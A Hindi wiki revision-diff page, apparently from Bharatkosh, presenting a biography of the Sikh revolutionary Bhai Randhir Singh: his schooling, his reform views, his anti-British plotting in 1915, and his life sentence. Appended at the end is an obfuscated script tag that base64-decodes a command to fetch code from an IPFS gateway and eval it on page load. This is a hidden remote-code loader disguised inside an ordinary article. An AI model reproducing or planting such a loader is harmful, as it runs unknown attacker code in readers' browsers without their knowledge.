"रणधीर सिंह": अवतरणों में अंतर
No edit summary |
|||
पंक्ति 34: | पंक्ति 34: | ||
|अद्यतन=03:45, [[5 जनवरी]]-[[2017]] (IST) | |अद्यतन=03:45, [[5 जनवरी]]-[[2017]] (IST) | ||
}} | }} | ||
'''रणधीर सिंह''' ([[अंग्रेज़ी]]: ''Randhir Singh'', जन्म- [[7 जुलाई]], [[1878]], [[लुधियाना]], [[पंजाब]]; मृत्यु- [[16 अप्रैल]], [[1961]]) प्रसिद्ध [[ | '''रणधीर सिंह''' ([[अंग्रेज़ी]]: ''Randhir Singh'', जन्म- [[7 जुलाई]], [[1878]], [[लुधियाना]], [[पंजाब]]; मृत्यु- [[16 अप्रैल]], [[1961]]) प्रसिद्ध [[सिक्ख]] नेता और क्रांतिकारी थे। वे अस्पृश्यता के विरोधी और महिलाओं के अधिकारों के पक्षधर थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=भारतकोश पुस्तकालय |संपादन=|पृष्ठ संख्या=569|url=}}</ref> | ||
==जन्म एवं परिचय== | ==जन्म एवं परिचय== | ||
रणधीर सिंह का जन्म 7 जुलाई, 1878 ई. में पंजाब के लुधियाना ज़िले में हुआ था। उन्होंने [[लाहौर]] के क्रिश्चियन कॉलेज में शिक्षा पाई। तत्कालीन प्रमुख सिख नेताओं से परिचय के बाद रणधीर सिंह 'सिंह सभा' आंदोलन में सम्मिलित हो गए। उनकी सशस्त लेखनी और काव्य प्रतिभा से इस आंदोलन को बड़ा बल मिला। रणधीर सिंह केवल [[पंजाबी भाषा]] में ही लिखते थे। अध्ययन के द्वारा उन्होंने सिख जीवन दर्शन का गहन ज्ञान प्राप्त किया। आजीविका के लिए रणधीर सिंह ने कुछ वर्ष तहसीलदार के रूप में काम किया और उसके बाद खालसा कॉलेज [[अमृतसर]] में अध्यापक बन गए। | रणधीर सिंह का जन्म 7 जुलाई, 1878 ई. में पंजाब के लुधियाना ज़िले में हुआ था। उन्होंने [[लाहौर]] के क्रिश्चियन कॉलेज में शिक्षा पाई। तत्कालीन प्रमुख सिख नेताओं से परिचय के बाद रणधीर सिंह 'सिंह सभा' आंदोलन में सम्मिलित हो गए। उनकी सशस्त लेखनी और काव्य प्रतिभा से इस आंदोलन को बड़ा बल मिला। रणधीर सिंह केवल [[पंजाबी भाषा]] में ही लिखते थे। अध्ययन के द्वारा उन्होंने सिख जीवन दर्शन का गहन ज्ञान प्राप्त किया। आजीविका के लिए रणधीर सिंह ने कुछ वर्ष तहसीलदार के रूप में काम किया और उसके बाद खालसा कॉलेज [[अमृतसर]] में अध्यापक बन गए। | ||
== सामाजिक सुधारों के समर्थक == | == सामाजिक सुधारों के समर्थक == | ||
रणधीर सिंह अस्पृश्यता के विरोधी और महिलाओं के अधिकारों के पक्षधर थे। रणधीर सिंह का कहना था कि "विद्यालयों के पाठ्यक्रम में धार्मिक शिक्षा का समावेश हो और उसे विदेशी प्रभाव से मुक्त रखा जाए।" | रणधीर सिंह अस्पृश्यता के विरोधी और महिलाओं के अधिकारों के पक्षधर थे। रणधीर सिंह का कहना था कि "विद्यालयों के पाठ्यक्रम में धार्मिक शिक्षा का समावेश हो और उसे विदेशी प्रभाव से मुक्त रखा जाए।" | ||
==ब्रिटिश सरकार के विरोधी== | ==ब्रिटिश सरकार के विरोधी== | ||
प्रथम विश्वयुद्ध ([[1914]]-[[1918]]) के समय [[ब्रिटिश सरकार]] ने रकाबगंज गुरुद्वारा की बाहरी दीवार गिरा देने का आदेश दिया तो भाई रणधीर सिंह के विचारों में एकदम परिवर्तन आया। वे ब्रिटिश विरोधी हो गए। [[भारतीय सेना]] को भी विद्रोह के लिए तैयार किया गया। [[1915]] में रणधीर सिंह ने ब्रिटिश सत्ता को उखाड़ फेंकने का निश्चय किया। | प्रथम विश्वयुद्ध ([[1914]]-[[1918]]) के समय [[ब्रिटिश सरकार]] ने रकाबगंज गुरुद्वारा की बाहरी दीवार गिरा देने का आदेश दिया तो भाई रणधीर सिंह के विचारों में एकदम परिवर्तन आया। वे ब्रिटिश विरोधी हो गए। [[भारतीय सेना]] को भी विद्रोह के लिए तैयार किया गया। [[1915]] में रणधीर सिंह ने ब्रिटिश सत्ता को उखाड़ फेंकने का निश्चय किया। | ||
==आजीवन कारावास== | ==आजीवन कारावास== | ||
पर पहले ही भेद खुल जाने के कारण भाई रणधीर सिंह और उनके साथी गिरफ़्तार कर लिए गए। भाई को आजीवन कारावास की सजा मिली। 17 [[वर्ष]] जेल में रहकर जब वे बाहर आए, उस समय तक देश की राजनीतिक स्थिति बदल चुकी थी। रणधीर सिंह [[कांग्रेस]] की अहिंसक राजनीति का समर्थन नहीं कर सके और उसके आलोचक बने रहे। | पर पहले ही भेद खुल जाने के कारण भाई रणधीर सिंह और उनके साथी गिरफ़्तार कर लिए गए। भाई को आजीवन कारावास की सजा मिली। 17 [[वर्ष]] जेल में रहकर जब वे बाहर आए, उस समय तक देश की राजनीतिक स्थिति बदल चुकी थी। रणधीर सिंह [[कांग्रेस]] की अहिंसक राजनीति का समर्थन नहीं कर सके और उसके आलोचक बने रहे। | ||
==निधन== | ==निधन== | ||
[[16 अप्रैल]], [[1961]] को रणधीर सिंह का देहांत हो गया। | [[16 अप्रैल]], [[1961]] को रणधीर सिंह का देहांत हो गया। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} |
05:46, 7 जुलाई 2018 के समय का अवतरण
रणधीर सिंह
| |
पूरा नाम | रणधीर सिंह |
अन्य नाम | भाई रणधीर सिंह |
जन्म | 7 जुलाई, 1878 |
जन्म भूमि | लुधियाना , पंजाब |
मृत्यु | 16 अप्रैल 1961 |
मृत्यु स्थान | लुधियाना, पंजाब |
नागरिकता | भारतीय |
पार्टी | कांग्रेस |
विद्यालय | क्रिश्चियन कॉलेज |
भाषा | पंजाबी |
जेल यात्रा | 17 वर्ष |
रचना | लेखनी और काव्य प्रतिभा |
अन्य जानकारी | रणधीर सिंह सामाजिक सुधारों के प्रबल समर्थक थे। |
अद्यतन | 03:45, 5 जनवरी-2017 (IST) |
रणधीर सिंह (अंग्रेज़ी: Randhir Singh, जन्म- 7 जुलाई, 1878, लुधियाना, पंजाब; मृत्यु- 16 अप्रैल, 1961) प्रसिद्ध सिक्ख नेता और क्रांतिकारी थे। वे अस्पृश्यता के विरोधी और महिलाओं के अधिकारों के पक्षधर थे।[1]
जन्म एवं परिचय
रणधीर सिंह का जन्म 7 जुलाई, 1878 ई. में पंजाब के लुधियाना ज़िले में हुआ था। उन्होंने लाहौर के क्रिश्चियन कॉलेज में शिक्षा पाई। तत्कालीन प्रमुख सिख नेताओं से परिचय के बाद रणधीर सिंह 'सिंह सभा' आंदोलन में सम्मिलित हो गए। उनकी सशस्त लेखनी और काव्य प्रतिभा से इस आंदोलन को बड़ा बल मिला। रणधीर सिंह केवल पंजाबी भाषा में ही लिखते थे। अध्ययन के द्वारा उन्होंने सिख जीवन दर्शन का गहन ज्ञान प्राप्त किया। आजीविका के लिए रणधीर सिंह ने कुछ वर्ष तहसीलदार के रूप में काम किया और उसके बाद खालसा कॉलेज अमृतसर में अध्यापक बन गए।
सामाजिक सुधारों के समर्थक
रणधीर सिंह अस्पृश्यता के विरोधी और महिलाओं के अधिकारों के पक्षधर थे। रणधीर सिंह का कहना था कि "विद्यालयों के पाठ्यक्रम में धार्मिक शिक्षा का समावेश हो और उसे विदेशी प्रभाव से मुक्त रखा जाए।"
ब्रिटिश सरकार के विरोधी
प्रथम विश्वयुद्ध (1914-1918) के समय ब्रिटिश सरकार ने रकाबगंज गुरुद्वारा की बाहरी दीवार गिरा देने का आदेश दिया तो भाई रणधीर सिंह के विचारों में एकदम परिवर्तन आया। वे ब्रिटिश विरोधी हो गए। भारतीय सेना को भी विद्रोह के लिए तैयार किया गया। 1915 में रणधीर सिंह ने ब्रिटिश सत्ता को उखाड़ फेंकने का निश्चय किया।
आजीवन कारावास
पर पहले ही भेद खुल जाने के कारण भाई रणधीर सिंह और उनके साथी गिरफ़्तार कर लिए गए। भाई को आजीवन कारावास की सजा मिली। 17 वर्ष जेल में रहकर जब वे बाहर आए, उस समय तक देश की राजनीतिक स्थिति बदल चुकी थी। रणधीर सिंह कांग्रेस की अहिंसक राजनीति का समर्थन नहीं कर सके और उसके आलोचक बने रहे।
निधन
16 अप्रैल, 1961 को रणधीर सिंह का देहांत हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 569 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>